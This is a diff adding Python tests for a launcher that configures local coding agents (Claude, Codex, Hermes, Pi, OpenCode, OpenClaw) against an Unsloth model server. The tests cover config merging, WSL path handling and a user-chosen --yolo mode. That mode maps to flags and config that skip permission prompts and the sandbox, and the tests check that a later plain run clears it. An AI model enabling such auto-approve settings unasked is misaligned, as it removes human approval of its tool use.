+    # Hermes refuses to initialize below its 64,000-token floor, so the recipe
+    # claims the floor and scales the compaction threshold so it still fires at
+    # 90% of the REAL window: 0.9 * 40960 / 65536.
+    assert config["model"]["context_length"] == 65536
+    assert config["compression"] == {"enabled": True, "threshold": 0.5625}
+    # The same floor check runs against the compression model mid-session.
+    assert config["auxiliary"]["compression"]["context_length"] == 65536
+
+
+def test_write_hermes_config_preserves_and_idempotent(hermes_config):
+    yaml = pytest.importorskip("yaml")
+    hermes_config.write_text(
+        yaml.safe_dump(
+            {
+                "terminal": {"backend": "local"},
+                "model": {"temperature": 0.7},
+                "providers": {"openrouter": {"base_url": "https://openrouter.ai/api/v1"}},
+            }
+        )
+    )
+    start.write_hermes_config(BASE, MODEL, hermes_config)
+    config = yaml.safe_load(hermes_config.read_text())
+    assert config["terminal"] == {"backend": "local"}  # unrelated sections kept
+    assert config["model"]["temperature"] == 0.7  # unrelated model keys kept
+    assert config["model"]["provider"] == "custom:unsloth"
+    assert config["providers"]["openrouter"]["base_url"] == "https://openrouter.ai/api/v1"
+    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
+    before = hermes_config.read_text()
+    start.write_hermes_config(BASE, MODEL, hermes_config)
+    assert hermes_config.read_text() == before
+
+
+def test_write_hermes_config_preserves_non_mapping_file(hermes_config, capsys):
+    pytest.importorskip("yaml")
+    original = "- just\n- a\n- list\n"  # valid YAML, but not a mapping
+    hermes_config.write_text(original)
+    start.write_hermes_config(BASE, MODEL, hermes_config)
+    assert hermes_config.read_text() == original  # user-managed file left untouched
+    assert "couldn't parse" in capsys.readouterr().err
+
+
+def test_connect_hermes_no_launch(fake_studio, tmp_path):
+    yaml = pytest.importorskip("yaml")
+    result = CliRunner().invoke(start.start_app, ["hermes", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "UNSLOTH_API_KEY", "sk-unsloth-feedfacefeedface")
+    # HERMES_HOME relocates the whole hermes home, so the user's ~/.hermes is untouched.
+    home = tmp_path / "agents" / "hermes"
+    _assert_env_set(result.output, "HERMES_HOME", str(home))
+    assert "hermes" in result.output
+    config = yaml.safe_load((home / "config.yaml").read_text())
+    assert config["model"]["provider"] == "custom:unsloth"
+    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
+    assert config["model"]["default"] == MODEL["id"]
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+# ── Pi (OpenAI-compatible /v1, key in config, ~/.pi relocated via HOME) ──
+
+
+def test_write_pi_config_fresh(tmp_path):
+    path = tmp_path / ".pi" / "agent" / "models.json"
+    start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    provider = config["providers"]["unsloth"]
+    assert provider["api"] == "openai-completions"
+    assert provider["baseUrl"] == f"{BASE}/v1"
+    assert provider["apiKey"] == "sk-unsloth-abc"
+    # Pin the loaded window (and a sane output cap) so Pi compacts instead of
+    # overflowing; without it Pi assumes its 128000 default.
+    assert provider["models"] == [
+        {"id": MODEL["id"], "contextWindow": MODEL["context_length"], "maxTokens": 8192}
+    ]
+
+
+def test_write_pi_config_preserves_and_idempotent(tmp_path):
+    path = tmp_path / ".pi" / "agent" / "models.json"
+    path.parent.mkdir(parents = True)
+    path.write_text(json.dumps({"providers": {"google": {"api": "gemini"}}}))
+    start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    assert config["providers"]["google"] == {"api": "gemini"}  # unrelated provider kept
+    assert config["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1"
+    before = path.read_text()
+    start.write_pi_config(BASE, "sk-unsloth-abc", MODEL, path)
+    assert path.read_text() == before
+
+
+def test_connect_pi_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    # Pi resolves its config dir from PI_CODING_AGENT_DIR first, so pin it at the session
+    # dir (and relocate HOME) to keep the user's real ~/.pi untouched and their own
+    # PI_CODING_AGENT_DIR from redirecting Pi away from our provider/key.
+    home = tmp_path / "agents" / "pi"
+    _assert_env_set(result.output, "HOME", str(home))
+    _assert_env_set(result.output, "PI_CODING_AGENT_DIR", str(home / ".pi" / "agent"))
+    # Provider/model pinned on the command (Pi defaults to google otherwise).
+    assert f"pi --provider unsloth --model {MODEL['id']}" in result.output
+    config = json.loads((home / ".pi" / "agent" / "models.json").read_text())
+    assert config["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["providers"]["unsloth"]["models"] == [
+        {"id": MODEL["id"], "contextWindow": MODEL["context_length"], "maxTokens": 8192}
+    ]
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+def test_connect_pi_no_launch_windows_relocates_userprofile(fake_studio, tmp_path, monkeypatch):
+    # On native Windows Node resolves ~/.pi via USERPROFILE, not HOME, so the session
+    # must point USERPROFILE at the relocated home or Pi reads the user's real ~/.pi.
+    monkeypatch.setattr(start.os, "name", "nt")
+    result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    home = tmp_path / "agents" / "pi"
+    assert f'$env:HOME = "{home}"' in result.output
+    assert f'$env:USERPROFILE = "{home}"' in result.output
+
+
+# ── WSLENV path translation + PowerShell quoting (helper units) ──
+
+
+def test_wsl_bridge_names_flags_paths_not_scalars():
+    # WSLENV only translates a var to a Windows path when its entry carries /p.
+    # Path-valued vars must get it; scalar knobs and URLs must not, or WSLENV would
+    # mangle them when handing off to a Windows shim under /mnt.
+    env = {
+        "CODEX_HOME": "/tmp/sess/codex",
+        "HOME": "/tmp/sess/pi",
+        "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "4096",
+        "ANTHROPIC_BASE_URL": "http://127.0.0.1:8888",
+        "USERPROFILE": r"C:\Users\x",
+    }
+    names = start._wsl_bridge_names(env, ("ANTHROPIC_API_KEY",))
+    assert "CODEX_HOME/p" in names
+    assert "HOME/p" in names
+    assert "USERPROFILE/p" in names  # drive-qualified Windows path
+    assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW" in names  # scalar: no /p
+    assert "CLAUDE_CODE_AUTO_COMPACT_WINDOW/p" not in names
+    assert "ANTHROPIC_BASE_URL" in names  # URL is not a filesystem path
+    assert "ANTHROPIC_API_KEY" in names  # cleared var carries no value to translate
+
+
+def test_merge_wslenv_dedups_on_base_name():
+    # An already-shared var must not be appended again just because the flag differs.
+    merged = start._merge_wslenv("CODEX_HOME/p:FOO", ("CODEX_HOME/p", "BAR/p"))
+    parts = merged.split(":")
+    assert parts.count("CODEX_HOME/p") == 1
+    assert "FOO" in parts and "BAR/p" in parts
+
+
+def test_merge_wslenv_upgrades_existing_unflagged_entry():
+    # A user's pre-existing bare "HOME" must be upgraded to "HOME/p" (not left bare or
+    # duplicated), or the Windows shim gets the path without WSL translation.
+    merged = start._merge_wslenv("HOME:FOO", ("HOME/p", "CODEX_HOME/p"))
+    parts = merged.split(":")
+    assert "HOME/p" in parts and "HOME" not in parts  # upgraded in place
+    assert parts.count("HOME/p") == 1
+    assert "FOO" in parts  # untouched user var preserved
+    assert "CODEX_HOME/p" in parts
+
+
+def test_powershell_quote_single_quotes_json():
+    # Bare flags/paths pass through; JSON payloads get single-quoted so PowerShell
+    # keeps the embedded double quotes literal (list2cmdline's backslashes would not).
+    assert start._powershell_quote("--settings") == "--settings"
+    assert start._powershell_quote("unsloth/gemma-4-26B") == "unsloth/gemma-4-26B"
+    quoted = start._powershell_quote(start._CLAUDE_SETTINGS_OVERLAY)
+    assert quoted == "'" + start._CLAUDE_SETTINGS_OVERLAY + "'"
+    assert "\\" not in quoted  # no cmd.exe backslash escaping
+    assert start._powershell_quote("a'b") == "'a''b'"  # embedded quote doubled
+
+
+# ── --yolo: one switch routed to each agent's own auto-approve form ──
+
+# The native "run tools without prompting" CLI flag each agent should receive.
+_NATIVE_YOLO = {
+    "claude": "--dangerously-skip-permissions",
+    "codex": "--dangerously-bypass-approvals-and-sandbox",
+    "hermes": "--yolo",
+    "pi": "--approve",
+}
+
+
+@pytest.mark.parametrize("agent, native", sorted(_NATIVE_YOLO.items()))
+def test_yolo_routes_to_native_flag(fake_studio, agent, native):
+    result = CliRunner().invoke(start.start_app, [agent, "--yolo", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert native in result.output
+
+
+@pytest.mark.parametrize("agent, native", sorted(_NATIVE_YOLO.items()))
+def test_no_yolo_omits_native_flag(fake_studio, agent, native):
+    result = CliRunner().invoke(start.start_app, [agent, "--no-launch"])
+    assert result.exit_code == 0, result.output
+    # pi's --approve is a real flag only added under --yolo; assert it's absent here.
+    command = _launch_command(result.output)
+    assert command and command[0] == agent, result.output
+    assert native not in command
+
+
+@pytest.mark.parametrize(
+    "alias",
+    ["--yolo", "--dangerously-skip-permissions", "--dangerously-bypass-approvals-and-sandbox"],
+)
+def test_yolo_aliases_are_interchangeable(fake_studio, alias):
+    # Any spelling on any agent routes to that agent's own flag, even the "wrong" one.
+    claude = CliRunner().invoke(start.start_app, ["claude", alias, "--no-launch"])
+    assert claude.exit_code == 0, claude.output
+    assert "--dangerously-skip-permissions" in claude.output
+    # The codex spelling must not leak through to Claude's command line.
+    assert "--dangerously-bypass-approvals-and-sandbox" not in claude.output
+
+    codex = CliRunner().invoke(start.start_app, ["codex", alias, "--no-launch"])
+    assert codex.exit_code == 0, codex.output
+    assert "--dangerously-bypass-approvals-and-sandbox" in codex.output
+    assert "--dangerously-skip-permissions" not in codex.output
+
+
+def test_yolo_opencode_writes_permission_block(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text())
+    assert config["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+        "external_directory": {"*": "allow"},
+    }
+
+
+def test_no_yolo_opencode_has_no_permission_block(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    config = json.loads((tmp_path / "agents" / "opencode" / "opencode.json").read_text())
+    # A non-yolo run on a fresh config writes no permission block; it only flips a prior
+    # --yolo run's explicit allow back to ask (see the yolo-then-plain test below).
+    assert "permission" not in config
+
+
+def test_no_yolo_opencode_flips_prior_yolo_allow_to_ask(fake_studio, tmp_path):
+    # The core reset: a --yolo run wrote explicit per-tool allow; a later non-yolo run
+    # must flip exactly those back to ask so nothing stays auto-approved.
+    yolo = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"])
+    assert yolo.exit_code == 0, yolo.output
+    config_path = tmp_path / "agents" / "opencode" / "opencode.json"
+    assert json.loads(config_path.read_text())["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+        "external_directory": {"*": "allow"},
+    }
+    plain = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert plain.exit_code == 0, plain.output
+    assert json.loads(config_path.read_text())["permission"] == {
+        "edit": "ask",
+        "bash": "ask",
+        "webfetch": "ask",
+        "external_directory": {"*": "ask"},
+    }
+
+
+def test_yolo_openclaw_writes_exec_policy(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--yolo", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    state = tmp_path / "agents" / "openclaw"
+    config = json.loads((state / "openclaw.json").read_text())
+    assert config["tools"]["exec"] == {"host": "gateway", "security": "full", "ask": "off"}
+    # Both layers: the host approvals file in OPENCLAW_STATE_DIR must also be set, or
+    # OpenClaw can still prompt/deny despite the config.
+    approvals = json.loads((state / "exec-approvals.json").read_text())
+    assert approvals["defaults"] == {"security": "full", "ask": "off", "askFallback": "full"}
+
+
+def test_no_yolo_openclaw_leaves_fresh_config_untouched(fake_studio, tmp_path):
+    # A fresh non-yolo run only undoes state a prior --yolo wrote; with no yolo
+    # fingerprint present it must not synthesize an exec policy. An omitted policy can
+    # resolve to a sandbox default of security=deny, so writing allowlist here would
+    # BROADEN it. The reset is scoped to the exact yolo write, verified by the
+    # yolo-then-plain round trip below.
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    state = tmp_path / "agents" / "openclaw"
+    config = json.loads((state / "openclaw.json").read_text())
+    assert "exec" not in config.get("tools", {})
+    assert not (state / "exec-approvals.json").exists()
+
+
+def test_write_opencode_config_yolo_unit(tmp_path):
+    path = tmp_path / "opencode.json"
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    config = json.loads(path.read_text())
+    assert config["permission"] == {
+        "edit": "allow",
+        "bash": "allow",
+        "webfetch": "allow",
+        "external_directory": {"*": "allow"},
+    }
+
+
+def test_write_openclaw_config_yolo_unit(tmp_path):
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"host": "gateway", "security": "full", "ask": "off"}
+    approvals = json.loads((path.parent / "exec-approvals.json").read_text())
+    assert approvals == {
+        "version": 1,
+        "defaults": {"security": "full", "ask": "off", "askFallback": "full"},
+    }
+
+
+def test_no_launch_rerun_clears_stale_opencode_yolo_permissions(fake_studio, tmp_path):
+    # The no-launch config dir is reused across runs, so a --yolo run persists its
+    # auto-approve settings; a later run without --yolo must strip them, not leave
+    # tool execution silently pre-approved.
+    yolo = CliRunner().invoke(start.start_app, ["opencode", "--yolo", "--no-launch"])
+    assert yolo.exit_code == 0, yolo.output
+    config_path = tmp_path / "agents" / "opencode" / "opencode.json"
+    assert "permission" in json.loads(config_path.read_text())
+    plain = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert plain.exit_code == 0, plain.output
+    config = json.loads(config_path.read_text())
+    # The yolo allow policy is replaced by a prompting one, not deleted (which would
+    # revert to OpenCode's permissive "allow" default).
+    assert config["permission"] == {
+        "edit": "ask",
+        "bash": "ask",
+        "webfetch": "ask",
+        "external_directory": {"*": "ask"},
+    }
+    # The session provider survives the cleanup.
+    assert start._OPENCODE_PROVIDER in config["provider"]
+
+
+def test_no_launch_rerun_clears_stale_openclaw_yolo_state(fake_studio, tmp_path):
+    yolo = CliRunner().invoke(start.start_app, ["openclaw", "--yolo", "--no-launch"])
+    assert yolo.exit_code == 0, yolo.output
+    state = tmp_path / "agents" / "openclaw"
+    assert (state / "exec-approvals.json").exists()
+    plain = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
+    assert plain.exit_code == 0, plain.output
+    config = json.loads((state / "openclaw.json").read_text())
+    # The yolo policy is replaced by a prompting one, not deleted (which would revert
+    # to OpenClaw's permissive default), and the yolo approvals file is gone.
+    assert config["tools"]["exec"] == {"security": "allowlist", "ask": "on-miss"}
+    assert not (state / "exec-approvals.json").exists()
+    # The session provider survives the cleanup.
+    assert "unsloth" in config["models"]["providers"]
+
+
+def test_write_openclaw_config_yolo_then_plain_unit(tmp_path):
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    # A plain rerun replaces the yolo policy with a prompting one (deleting it would
+    # fall back to OpenClaw's permissive default) and removes the yolo approvals file.
+    assert config["tools"]["exec"] == {"security": "allowlist", "ask": "on-miss"}
+    assert not (path.parent / "exec-approvals.json").exists()
+
+
+def test_write_opencode_config_yolo_then_plain_unit(tmp_path):
+    path = tmp_path / "opencode.json"
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    # A plain rerun replaces the yolo allow policy with a prompting one.
+    assert config["permission"] == {
+        "edit": "ask",
+        "bash": "ask",
+        "webfetch": "ask",
+        "external_directory": {"*": "ask"},
+    }
+
+
+def test_openclaw_non_yolo_keeps_runtime_approvals(tmp_path):
+    # OpenClaw records its own entries in exec-approvals.json (OPENCLAW_STATE_DIR is
+    # this dir); the non-yolo reset drops only the yolo defaults, not those.
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    approvals = path.parent / "exec-approvals.json"
+    state = json.loads(approvals.read_text())
+    state["agents"] = {"main": {"allowlist": ["git status"]}}
+    approvals.write_text(json.dumps(state))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    remaining = json.loads(approvals.read_text())
+    assert "defaults" not in remaining
+    assert remaining["agents"] == {"main": {"allowlist": ["git status"]}}
+
+
+def test_openclaw_non_yolo_keeps_mixed_approval_defaults(tmp_path):
+    # A mixed user-managed defaults block that only shares a field with the yolo payload
+    # (here askFallback=full, whose omitted default is deny) is not stale yolo state, so a
+    # non-yolo run leaves it intact rather than stripping the shared field.
+    path = tmp_path / "openclaw.json"
+    approvals = path.parent / "exec-approvals.json"
+    mixed = {
+        "version": 1,
+        "defaults": {"security": "allowlist", "ask": "on-miss", "askFallback": "full"},
+    }
+    approvals.write_text(json.dumps(mixed))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(approvals.read_text()) == mixed
+
+
+def test_openclaw_non_yolo_leaves_partial_policy_untouched(tmp_path):
+    # A policy that lacks the full yolo fingerprint (here no host and no security) is not
+    # our --yolo write, so a non-yolo run leaves it as-is rather than assuming ask=off
+    # means permissive: an omitted host/security can resolve to a sandbox deny default.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"timeout": 30, "ask": "off"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"timeout": 30, "ask": "off"}
+
+
+def test_openclaw_non_yolo_leaves_no_permissive_values(tmp_path):
+    # The whole point of the reset: after a yolo run, a plain run must leave neither the
+    # config nor the approvals file at OpenClaw's permissive (security=full, ask=off)
+    # default, or exec still auto-approves.
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = True)
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    exec_policy = json.loads(path.read_text())["tools"]["exec"]
+    assert exec_policy.get("security") != "full"
+    assert exec_policy.get("ask") != "off"
+    assert not (path.parent / "exec-approvals.json").exists()
+
+
+def test_openclaw_non_yolo_preserves_stricter_exec_policy(tmp_path):
+    # A policy that doesn't carry the yolo values (for example stricter security or
+    # prompting turned on) was not written by --yolo and must survive a plain run.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"security": "deny", "ask": "on"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"security": "deny", "ask": "on"}
+
+
+def test_openclaw_non_yolo_preserves_stricter_approval_defaults(tmp_path):
+    # exec-approvals.json defaults that don't match the yolo payload (stricter
+    # settings from the user or the OpenClaw UI) are kept, and the file stays.
+    path = tmp_path / "openclaw.json"
+    approvals = path.parent / "exec-approvals.json"
+    approvals.write_text(
+        json.dumps({"version": 1, "defaults": {"security": "allowlist", "ask": "on"}})
+    )
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    state = json.loads(approvals.read_text())
+    assert state["defaults"] == {"security": "allowlist", "ask": "on"}
+
+
+def test_openclaw_non_yolo_leaves_unparseable_approvals(tmp_path):
+    # An unreadable approvals file is left in place rather than deleted, matching
+    # how an unparseable config is handled.
+    path = tmp_path / "openclaw.json"
+    approvals = path.parent / "exec-approvals.json"
+    approvals.write_text("{not json")
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert approvals.read_text() == "{not json"
+
+
+def test_opencode_non_yolo_flips_only_explicit_allow(tmp_path):
+    # Only a tool explicitly set to "allow" (what --yolo writes) is flipped to "ask". A
+    # deny/ask a user set is kept, and an absent tool is not added.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"permission": {"edit": "allow", "bash": "deny", "read": "ask"}}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["permission"] == {"edit": "ask", "bash": "deny", "read": "ask"}
+    assert session == {}  # a non-yolo session carries no permission inline
+
+
+def test_opencode_non_yolo_leaves_string_permission(tmp_path):
+    # A global string rule ("deny") is a user-managed catch-all; leave it untouched and
+    # carry no inline override.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"permission": "deny"}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(path.read_text())["permission"] == "deny"
+    assert session == {}
+
+
+def test_opencode_non_yolo_leaves_catch_all_and_flips_explicit_allow(tmp_path):
+    # A "*" catch-all is the user's own rule, never something --yolo writes (yolo sets
+    # explicit per-tool allow), so it is left intact; an explicit per-tool "allow" is still
+    # flipped to "ask", but an absent tool inheriting the catch-all is not touched.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"permission": {"*": "allow", "bash": "allow"}}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(path.read_text())["permission"] == {"*": "allow", "bash": "ask"}
+    assert session == {}
+
+
+def test_opencode_non_yolo_leaves_granular_object(tmp_path):
+    # A granular object value is a user rule (yolo only ever writes a plain "allow" string),
+    # so it is left in the file verbatim and never carried inline.
+    path = tmp_path / "opencode.json"
+    obj = {"read *": "deny", "git *": "ask"}
+    path.write_text(json.dumps({"permission": {"bash": dict(obj)}}))
+    session = start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    assert json.loads(path.read_text())["permission"]["bash"] == obj
+    assert session == {}
+
+
+def test_openclaw_non_yolo_leaves_mode_policy(tmp_path):
+    # tools.exec.mode is OpenClaw's normalized knob and cannot be combined with explicit
+    # security/ask (the config is rejected), so a mode-based policy must be left as-is.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"mode": "deny"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"mode": "deny"}
+
+
+def test_openclaw_non_yolo_preserves_sandbox_host(tmp_path):
+    # host=sandbox defaults to security=deny (stricter than the gateway "full" default),
+    # so a non-yolo run must not treat the missing security as permissive nor pop host
+    # (which would broaden routing to the gateway).
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"host": "sandbox"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"host": "sandbox"}
+
+
+def test_openclaw_non_yolo_preserves_node_host(tmp_path):
+    # host=node routes to a paired node and is only ever set by the user (--yolo writes
+    # host=gateway), so a non-yolo run must not pop it and reroute to the gateway.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"host": "node"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"host": "node"}
+
+
+def test_openclaw_non_yolo_preserves_auto_host_permissive(tmp_path):
+    # host=auto (or omitted) with security=full/ask=off is NOT the --yolo write: under an
+    # active sandbox, auto resolves to security=deny. --yolo only ever writes host=gateway,
+    # so the reset must not treat auto/None as the permissive gateway default and broaden a
+    # sandboxed deny to allowlist.
+    for exec_policy in (
+        {"host": "auto", "security": "full", "ask": "off"},
+        {"security": "full", "ask": "off"},
+    ):
+        path = tmp_path / "openclaw.json"
+        path.write_text(json.dumps({"tools": {"exec": dict(exec_policy)}}))
+        start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+        config = json.loads(path.read_text())
+        assert config["tools"]["exec"] == exec_policy
+
+
+def test_openclaw_non_yolo_resets_only_gateway_yolo_fingerprint(tmp_path):
+    # The reset fires on exactly the host=gateway + security=full + ask=off write --yolo
+    # makes, and nothing else.
+    path = tmp_path / "openclaw.json"
+    path.write_text(
+        json.dumps({"tools": {"exec": {"host": "gateway", "security": "full", "ask": "off"}}})
+    )
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"security": "allowlist", "ask": "on-miss"}
+
+
+def test_openclaw_non_yolo_preserves_full_mode(tmp_path):
+    # OpenClaw never normalizes our security=full/ask=off yolo write into mode:"full"
+    # (verified against the binary: doctor --fix and config get leave security/ask as-is),
+    # so a mode:"full" is always a deliberate user policy, not stale yolo state; leave it.
+    path = tmp_path / "openclaw.json"
+    path.write_text(json.dumps({"tools": {"exec": {"mode": "full"}}}))
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path, yolo = False)
+    config = json.loads(path.read_text())
+    assert config["tools"]["exec"] == {"mode": "full"}
+
+
+def test_yolo_command_flags_unmapped_agent_is_empty():
+    # Config-based agents (and any typo) must yield no flag, not a KeyError.
+    assert start._yolo_command_flags("opencode", True) == []
+    assert start._yolo_command_flags("openclaw", True) == []
+    assert start._yolo_command_flags("claude", True) == ["--dangerously-skip-permissions"]
+    assert start._yolo_command_flags("claude", False) == []
+
+
+def test_yolo_config_agents_add_no_command_flag(fake_studio):
+    # opencode/openclaw auto-approve is config-only; nothing should leak onto argv.
+    for agent in ("opencode", "openclaw"):
+        result = CliRunner().invoke(start.start_app, [agent, "--yolo", "--no-launch"])
+        assert result.exit_code == 0, result.output
+        command = _launch_command(result.output)
+        assert command and command[0] == agent, result.output
+        assert not any("--yolo" in arg or "--dangerous" in arg for arg in command)
+
+
+def test_pi_launch_clears_screen_first(fake_studio, monkeypatch):
+    # Pi paints inline from the current cursor position (no alternate screen, no
+    # clear on its first render), so the launcher hands it a clean screen. The
+    # clear must come BEFORE the exec, and only on the launch path.
+    calls = []
+    monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear"))
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/pi")
+
+    def run(command, env):
+        calls.append("exec")
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["pi"])
+    assert result.exit_code == 0, result.output
+    assert calls == ["clear", "exec"]
+
+
+def test_pi_no_launch_does_not_clear(fake_studio, monkeypatch):
+    # The --no-launch recipe is meant to be read (and piped); never wipe it.
+    calls = []
+    monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear"))
+    result = CliRunner().invoke(start.start_app, ["pi", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert calls == []
+
+
+def test_claude_launch_does_not_clear(fake_studio, monkeypatch):
+    # Alternate-screen agents manage the terminal themselves; leave it alone.
+    calls = []
+    monkeypatch.setattr(start.click, "clear", lambda: calls.append("clear"))
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+    monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0))
+    result = CliRunner().invoke(start.start_app, ["claude"])
+    assert result.exit_code == 0, result.output
+    assert calls == []
+
+
+@pytest.mark.skipif(
+    os.name == "nt",
+    reason = "WSL-from-Linux scenario: a Windows pi shim under /mnt called from WSL "
+    "(os.name is 'posix' under WSL), so this can't run on a native Windows runner.",
+)
+def test_connect_pi_wsl_windows_shim_relocates_userprofile(fake_studio, monkeypatch):
+    captured = {}
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/mnt/c/Users/x/AppData/Roaming/npm/pi")
+
+    def run(command, env):
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, ["pi"])
+    assert result.exit_code == 0, result.output
+    home = captured["env"]["HOME"]
+    # A Windows pi shim resolves ~/.pi via USERPROFILE, so it must match the session
+    # HOME and ride the WSLENV bridge (with /p) so the path is translated for Windows.
+    assert captured["env"]["USERPROFILE"] == home
+    wslenv = captured["env"]["WSLENV"].split(":")
+    assert "HOME/p" in wslenv
+    assert "USERPROFILE/p" in wslenv
+
+
+def test_agent_api_key_auto_started_rejected_env_key_falls_back(fake_studio, tmp_path, monkeypatch):
+    # UNSLOTH_API_KEY exported for some OTHER server must not fail the launch
+    # against a server this run just auto-started: validate, then fall back to
+    # the local mint path, and never remember the foreign key for this base.
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/v1/models") and token == "sk-unsloth-other-server":
+            raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None)
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    key = start._agent_api_key(BASE, "sk-unsloth-other-server", auto_started = True)
+    assert key == "sk-unsloth-feedfacefeedface"  # minted for the fresh server
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert "sk-unsloth-other-server" not in json.dumps(cached["servers"].get(BASE, {}))
+
+
